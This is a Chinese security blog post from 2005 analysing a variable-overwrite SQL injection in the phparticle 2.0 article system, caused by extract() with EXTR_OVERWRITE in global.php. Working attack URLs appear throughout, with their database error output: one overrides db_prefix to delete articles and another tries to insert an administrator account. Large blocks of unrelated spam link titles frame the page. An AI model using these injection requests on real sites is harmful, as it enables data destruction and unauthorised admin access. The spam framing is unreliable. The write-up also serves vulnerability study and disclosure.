国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区

掃一掃
關注微信公眾號

phparticle 2.0注入漏洞測試分析
2005-12-17   

phparticle是PHP中最好的文章系統了,好像至今還沒有被黑的記錄,我以前學習PHP的時候就是看這個文章系統的代碼,感覺和VBB很相似,而且也仔細分析過,沒有什么漏洞,后來掌握PHP后,也就沒有再去分析他。給我的感覺是很安全的。

前段時間小花和我說phparticle有一個變量沒有初始化,我看了看,的確可以構造這個變量,而且任意一個頁面都可以的,危害嘛,我沒有能力拿到有意義的東西,但是要破壞簡直輕而易舉,唉,終于明白破壞比建設簡單的原因了。

/global.php文件開頭是這樣寫的:

<?php
error_reporting(7);

if ($showqueries==1 OR $_GET[showqueries]==1){
$script_start_time = microtime();
}

require "admin/config.php";
require "admin/class/mysql.php";
require "admin/configs/setting.php";

//var_dump($configuration);
//extract($configuration,EXTR_SKIP);

extract($configuration,EXTR_OVERWRITE);

/admin/configs/setting.php文件中,變量$configuration是一個數組,是整個文章系統的配置參數,為了減少查詢次數,把數據庫的配置信息,寫進文件,速度自然快很多,這個本來一切很正常很正常,但是一行代碼,就足以讓phparticle的數據可以瞬間消失。

extract($configuration,EXTR_OVERWRITE);

extract()函數在PHP手冊上是這么寫的:


int extract ( array var_array [, int extract_type [, string prefix]])


本函數用來將變量從數組中導入到當前的符號表中。接受結合數組 var_array 作為參數并將鍵名當作變量名,值作為變量的值。對每個鍵/值對都會在當前的符號表中建立變量,并受到 extract_type 和 prefix 參數的影響。

注: 自版本 4.0.5 起本函數返回被提取的變量數目。

注: EXTR_IF_EXISTS 和 EXTR_PREFIX_IF_EXISTS 是版本 4.2.0 中引進的。

注: EXTR_REFS 是版本 4.3.0 中引進的。

extract() 檢查每個鍵名看是否可以作為一個合法的變量名,同時也檢查和符號表中已有的變量名的沖突。對待非法/數字和沖突的鍵名的方法將根據 extract_type 參數決定。可以是以下值之一:


EXTR_OVERWRITE
如果有沖突,覆蓋已有的變量。


很顯然,這里可以覆蓋任意變量,甚至系統變量,包括$_GET,$_POST等,真的不明白為什么作者要把上面那行給注釋掉用這個“EXTR_OVERWRITE”。

最關鍵的變量是admin/config.php下的$db_prefix變量,這是表前綴,這個是最有用的,因為phparticle里面的所有查詢都會在表面使用這個變量,肯定能造成SQL注入,但條件極為苛刻。從表的前綴這里構造一個完整的SQL QUERY。然后把后面的語句給注釋掉。呵呵,說不定還可以load_file或者into outfile,竊喜~~

但是實際上并沒有這么順利,為了更清晰的測試。我就為所有的SQL QUERY設置了一個變量$sql,然后在系統的首頁輸出,來看看首先執行的SQL語句是什么,是SELECT就可以注入,這樣能得到很多有用的信息。甚至……,如果是INSERT更好了,直接構造語句插入一個管理員,是UPDATE也可以,把我注冊的用戶UPDATE成管理員組的角色,是DELETE嘛,就可以刪除任意數據,結果輸出的語句是“DELETE FROM pa_session WHERE expiry<1103398532 111111111”,如圖:


非常惱火,如果這個DELETE語句錯誤的話,就會顯示MYSQL的錯誤信息,并停止運行程序,根本不可能執行下一句SQL語句,惱火。而且phparticle的容錯處理非常不錯。沒辦法返回WEB的物理路徑,如果當前的用戶不是管理員,連MYSQL錯誤信息都不能看到,我在本地測試的,因為是管理員,所以MYSQL的出錯信息都返回到屏幕上,對我們測試更加有幫助,咱們構造一個完整的DELETE語句看看,成功以后,應該會繼續執行下一句SQL QUERY,我就隨便提交:

http://localhost/phparticle/global.php?configuration[db_prefix]=angel

結果返回:

phpArticle
--------------------------------------------------------------------------------

數據庫出錯:

SQL 無效: DELETE FROM angelsession WHERE expiry<1104152890
Mysql error description: Table 'article20.angelsession' doesn't exist
Mysql error number: 1146
Date: 2004-12-27 @ 21:08
Script: http://localhost/phparticle/global.php?configuration[db_prefix]=angel
Referer:

請嘗試刷新你的瀏覽器,如果仍然無法正常顯示,請聯系管理員.

錯誤了,表不存在,不過數據庫名字已經出來了,就是article20,當然實際應用是看不到這些信息的,因為phparticle有比較完善的會話檢查,所以不管瀏覽或是刷新任何一個頁面,都會先對session表操作,刪除用戶的會話,更新會話,查詢會話,都會有操作,因為用戶登陸,在線用戶,還有用戶的狀態,都是用session記錄的,了解這些以后,開始構造一個完整的DELETE語句再看看下一步該怎么做:

http://localhost/phparticle/global.php?configuration[db_prefix]=pa_article where articleid=1/*

返回:

phpArticle
--------------------------------------------------------------------------------

數據庫出錯:

SQL 無效: SELECT COUNT(DISTINCT ipaddress) AS total FROM pa_article where articleid=1/*session WHERE expiry>1104153004
Mysql error description: Unknown column 'ipaddress' in 'field list'
Mysql error number: 1054
Date: 2004-12-27 @ 21:10
Script: http://localhost/phparticle/global.php?configuration[db_prefix]=pa_article%20where%20articleid=1/*
Referer:

請嘗試刷新你的瀏覽器,如果仍然無法正常顯示,請聯系管理員.

phpArticle
--------------------------------------------------------------------------------

數據庫出錯:

SQL 無效: INSERT INTO pa_article where articleid=1/*session (sessionid,expiry,value,userid,ipaddress,useragent,location,lastactivity)
VALUES ('a9fdc1b9d7e37b92686fb46486b41d20',1104154444,'pauserinfo|a:1:{s:14:\"timezoneoffset\";s:1:\"8\";}','','127.0.0.1','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Maxthon; .NET CLR 1.1.4322)','/phparticle/global.php?configuration[db_prefix]=pa_article%20where%20articleid=1/*','1104153004')
Mysql error description: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'where articleid=1/*session (sessionid,expiry,value,userid,ipaddr
Mysql error number: 1064
Date: 2004-12-27 @ 21:10
Script: http://localhost/phparticle/global.php?configuration[db_prefix]=pa_article%20where%20articleid=1/*
Referer:

請嘗試刷新你的瀏覽器,如果仍然無法正常顯示,請聯系管理員.

Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0

再看看文章系統。文章已經成功刪除。但是SQL QUERY卻停留在SELECT上面了,而且出錯信息已經終止了程序的運行,導致無法執行下一個SQL QUERY,但是從出錯的頁面看來,INSERT語句也用我們的參數執行了,如圖:

 



我就想能不能直接構造INSERT語句加一個管理員呢?

http://localhost/phparticle/global.php?configuration[db_prefix]=pa_user VALUES (null, char(110, 97, 109, 101), 1, char(102, 52, 102, 48, 54, 56, 101, 55, 49, 101, 48, 100, 56, 55, 98, 102, 48, 97, 100, 53, 49, 101, 54, 50, 49, 52, 97, 98, 56, 52, 101, 57), 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 8);/*

結果返回,看來行不通,在第一句SQL QUERY的時候,就出錯終止了。

phpArticle
--------------------------------------------------------------------------------

數據庫出錯:

SQL 無效: DELETE FROM pa_user VALUES (null, char(110, 97, 109, 101), 1, char(102, 52, 102, 48, 54, 56, 101, 55, 49, 101, 48, 100, 56, 55, 98, 102, 48, 97, 100, 53, 49, 101, 54, 50, 49, 52, 97, 98, 56, 52, 101, 57), 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 8);/*session WHERE expiry<1104153372
Mysql error description: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'VALUES (null, char(110, 97, 109, 101), 1, char(102, 52, 102, 48, 54, 56, 101
Mysql error number: 1064
Date: 2004-12-27 @ 21:16
Script: http://localhost/phparticle/global.php?configuration[db_prefix]=pa_user%20VALUES%20(null, char(110, 97, 109, 101), 1, char(102, 52, 102, 48, 54, 56, 101, 55, 49, 101, 48, 100, 56, 55, 98, 102, 48, 97, 100, 53, 49, 101, 54, 50, 49, 52, 97, 98, 56, 52, 101, 57), 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 8);/*
Referer:


請嘗試刷新你的瀏覽器,如果仍然無法正常顯示,請聯系管理員.

到了這個地步,我只能無奈的提交:

http://localhost/phparticle/global.php?configuration[db_prefix]=pa_article/*

結束了這次測試。

看來這個phparticle寧死不屈,只能揉捏她,而不能占有她啊……如果哪位仁兄能占有她,記得和我分享啊。


熱詞搜索:

上一篇:用Winsock實現對網站數據庫的數據注入
下一篇:MSSQL db_owner角色注入直接獲得系統權限

分享到: 收藏
国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区
精品成人一区二区三区| 欧美一区二区三区免费视频| 在线成人h网| 欧美人与禽猛交乱配视频| 久久久午夜电影| 狼人社综合社区| 浪潮色综合久久天堂| 欧美在线观看你懂的| 亚洲视频在线观看一区| 久久久久这里只有精品| 欧美成人蜜桃| 欧美日韩成人一区| 国产精品一区久久久久| 国产亚洲精品bt天堂精选| 国产精品一区免费在线观看| 国产伊人精品| 亚洲在线免费| 欧美精品一区二区高清在线观看| 欧美日韩三级在线| 国产午夜亚洲精品理论片色戒| 在线观看国产精品网站| 亚洲天堂av在线免费观看| 午夜一区在线| 免费亚洲电影| 红桃视频国产一区| 玖玖国产精品视频| 国产一区二区三区在线观看网站 | 午夜精品影院| 久久手机免费观看| 老鸭窝毛片一区二区三区| 伊人久久噜噜噜躁狠狠躁 | 国产精品入口尤物| 亚洲成色www8888| 欧美影院成人| 欧美午夜免费影院| 精品不卡一区二区三区| 91久久久久久国产精品| 国产精品视屏| 午夜精品理论片| 国产欧美日韩另类视频免费观看| 亚洲欧洲日产国产网站| 久久综合狠狠| 亚洲第一综合天堂另类专| 一区二区三区日韩欧美| 欧美极品一区| 欧美在线观看视频一区二区三区| 欧美色图天堂网| 夜夜嗨av一区二区三区网页| 欧美视频一区在线观看| 中日韩美女免费视频网站在线观看| 久久久精品动漫| 黄色日韩网站| 欧美视频免费| 久久裸体视频| 日韩网站在线观看| 国产精品热久久久久夜色精品三区 | 亚洲免费在线精品一区| 国产精品一区亚洲| 午夜欧美视频| 韩国一区二区三区在线观看| 一区二区三区欧美在线| 亚洲精品一区中文| 国产精品人成在线观看免费 | 欧美诱惑福利视频| 国内成人在线| 欧美精品一区二区三| 欧美日韩一区在线观看视频| 久久久久久穴| 久久国产一区二区| 亚洲天堂男人| 日韩午夜在线视频| 国产视频丨精品|在线观看| 欧美日韩国产123区| 欧美精品七区| 欧美成人一区二免费视频软件| 欧美在线观看一区| 欧美一级艳片视频免费观看| 国产免费观看久久| 欧美日韩精品三区| 国产精品亚洲人在线观看| 国产欧美一区二区精品婷婷 | 国产乱子伦一区二区三区国色天香 | 亚洲欧洲精品一区二区三区波多野1战4 | 亚洲欧美三级伦理| 99伊人成综合| 99伊人成综合| 一区二区国产精品| 亚洲理论在线观看| 亚洲黄色三级| 亚洲人成毛片在线播放| 亚洲高清不卡在线| 亚洲第一区中文99精品| 亚洲国产欧美一区二区三区同亚洲 | 国产精品对白刺激久久久| 欧美成人国产一区二区| 久久综合九色| 久久免费视频在线| 欧美日韩亚洲高清| 国产一区二区三区精品久久久| 国产一区二区三区久久久| 狠狠色伊人亚洲综合网站色| 国产欧美日韩综合一区在线观看 | 欧美成人在线网站| 久久夜色精品国产亚洲aⅴ| 欧美日韩综合精品| 国产一区二区黄| 亚洲国产福利在线| 欧美日韩一区在线观看| **欧美日韩vr在线| 亚洲日本欧美天堂| 欧美自拍偷拍| 欧美三级在线| 在线电影院国产精品| 欧美1区视频| 国产精品乱人伦一区二区| 久久香蕉国产线看观看网| 国产精品大片| 一区二区三区视频在线播放| 能在线观看的日韩av| 亚洲福利国产精品| 欧美激情精品久久久久| 最新日韩欧美| 欧美激情中文字幕乱码免费| 日韩视频专区| 国产精品一区久久| 欧美在线观看一区| 国产一区二区三区日韩| 久久国产精品亚洲va麻豆| 国色天香一区二区| 免费观看成人鲁鲁鲁鲁鲁视频| 欧美激情第4页| 亚洲黄色成人| 99热这里只有成人精品国产| 亚洲国产精品一区二区三区| 亚洲黄色免费电影| 亚洲国产高清aⅴ视频| 亚洲大片一区二区三区| 午夜精品久久| 久久视频这里只有精品| 欧美福利一区| 国产精品高清免费在线观看| 国内外成人在线视频| 日韩视频一区二区在线观看| 美女图片一区二区| 久久久久国产精品午夜一区| 国产精品videosex极品| 久久伊人精品天天| 午夜久久久久久| 亚洲夫妻自拍| 国产精品视屏| 欧美久久久久久| 欧美在线不卡视频| 国产性做久久久久久| 久久久夜色精品亚洲| 欧美一级久久久久久久大片| 亚洲国产成人porn| 老鸭窝毛片一区二区三区| 亚洲人成人99网站| 极品尤物av久久免费看| 国产亚洲综合在线| 久久青草欧美一区二区三区| 一区二区三区自拍| 韩日精品视频一区| 一区在线播放视频| 99精品国产99久久久久久福利| 国语自产偷拍精品视频偷| 国产午夜精品美女视频明星a级 | 亚洲国产精品第一区二区三区| 久久躁日日躁aaaaxxxx| 宅男精品导航| 久久婷婷激情| 噜噜爱69成人精品| 老司机aⅴ在线精品导航| 久久激情中文| 欧美国产综合| 国产久一道中文一区| 国产九区一区在线| 欧美日韩精品免费 | 久久激五月天综合精品| 久久女同互慰一区二区三区| 欧美.com| 久久午夜精品| 欧美在线一二三四区| 欧美寡妇偷汉性猛交| 欧美电影打屁股sp| 欧美午夜视频一区二区| 欧美三级免费| 国语自产在线不卡| 亚洲欧美另类国产| 久久综合色8888| 国产精品免费看久久久香蕉| 亚洲激情电影中文字幕| 亚洲第一成人在线| 99国产一区二区三精品乱码| 亚洲天堂网站在线观看视频| 久久久久久久999精品视频| 欧美日韩国产va另类| 国产农村妇女精品一二区| 亚洲一区二区三区精品视频| 欧美午夜精品|